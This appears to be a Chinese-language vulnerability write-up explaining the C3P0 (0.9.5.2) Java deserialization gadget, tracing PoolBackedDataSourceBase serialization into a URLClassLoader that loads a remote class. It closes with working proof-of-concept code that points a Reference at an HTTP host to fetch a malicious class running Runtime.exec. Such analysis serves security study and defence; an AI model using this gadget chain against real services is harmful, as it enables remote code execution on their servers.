C3P0反序列化

C3P0是一个开源的JDBC连接池,它实现了数据源和JNDI绑定,支持JDBC3规范和JDBC2的标准扩展。目前使用它的开源项目有Hibernate,Spring等

连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。

环境:

<dependency>
    <groupId>com.mchange</groupId>
    <artifactId>c3p0</artifactId>
    <version>0.9.5.2</version>
</dependency>

URLClassLoader

漏洞发生在com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase这个类

先看看序列化writeObject()

image-20230915151505441

这里对this.connectionPoolDataSource的内容进行序列化,如果不可序列化,则进入catch分支,往下也是类中的代码,只是改变了序列化的对象

在catch分支中调用了个indirector.indirectForm(this.connectionPoolDataSource),跟进indirector.indirectForm

public IndirectlySerialized indirectForm(Object var1) throws Exception {
    Reference var2 = ((Referenceable)var1).getReference();
    return new ReferenceSerialized(var2, this.name, this.contextName, this.environmentProperties);
}

在这里会调用序列化对象的getReference()方法,然后返回一个ReferenceSerialized对象,这是一个内部类,跟进其构造函数

ReferenceSerialized(Reference var1, Name var2, Name var3, Hashtable var4) {
    this.reference = var1;
    this.name = var2;
    this.contextName = var3;
    this.env = var4;
}

这几个参数都可通过setter方法赋值,可以考虑fastjson利用

再来看反序列化的readObject()

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    short version = ois.readShort();
    switch (version) {
        case 1:
            Object o = ois.readObject();
            if (o instanceof IndirectlySerialized) {
                o = ((IndirectlySerialized)o).getObject();
            }
            this.connectionPoolDataSource = (ConnectionPoolDataSource)o;
            this.dataSourceName = (String)ois.readObject();
            o = ois.readObject();
            if (o instanceof IndirectlySerialized) {
                o = ((IndirectlySerialized)o).getObject();
            }
            this.extensions = (Map)o;
            this.factoryClassLocation = (String)ois.readObject();
            this.identityToken = (String)ois.readObject();
            this.numHelperThreads = ois.readInt();
            this.pcs = new PropertyChangeSupport(this);
            this.vcs = new VetoableChangeSupport(this);
            return;
        default:
            throw new IOException("Unsupported Serialized Version: " + version);
    }
}

这里根据version进入不同的分支,如果是version=1,首先会将对象进行反序列化,判断对象o是否是IndirectlySerialized类的对象或者是其子类的对象,如果是则会调用这个对象的getObject(),因为上面进行了强制类型转换Referenceable,所以这里调用的是ReferenceSerialize这个内部类的getObject()

image-20230915161120671

这里似乎可以进行JNDI注入,但是目前contextName的参数不可控,跟进看看ReferenceableUtils.referenceToObject

image-20230915162829811

可以看到这里有个URLClassLoader(),可以远程加载类,并且参数var4可控,所以POC如下:

 public static void main(String[] args) throws Exception {
        PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(true);
        Field connectionPoolDataSource = PoolBackedDataSourceBase.class.getDeclaredField("connectionPoolDataSource");
        connectionPoolDataSource.setAccessible(true);
        connectionPoolDataSource.set(poolBackedDataSourceBase,new Demo());

        serialize(poolBackedDataSourceBase);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

//构造满足条件的类,即实现接口,并且不可序列化
public static class Demo implements ConnectionPoolDataSource, Referenceable {
        @Override
        public PooledConnection getPooledConnection() throws SQLException {
            return null;
        }
        @Override
        public PooledConnection getPooledConnection(String user, String password) throws SQLException {
            return null;
        }
        @Override
        public PrintWriter getLogWriter() throws SQLException {
            return null;
        }
        @Override
        public void setLogWriter(PrintWriter out) throws SQLException {

        }
        @Override
        public void setLoginTimeout(int seconds) throws SQLException {

        }
        @Override
        public int getLoginTimeout() throws SQLException {
            return 0;
        }
        @Override
        public Logger getParentLogger() throws SQLFeatureNotSupportedException {
            return null;
        }

        public Reference getReference() {
            return new Reference("EVI","EVI","http://127.0.0.1:8081/");//通过http请求恶意类
        }

    }

简单的恶意类:

import java.io.IOException;
public class EVI {
    public EVI() throws IOException {
        Runtime.getRuntime().exec("calc");
    }
}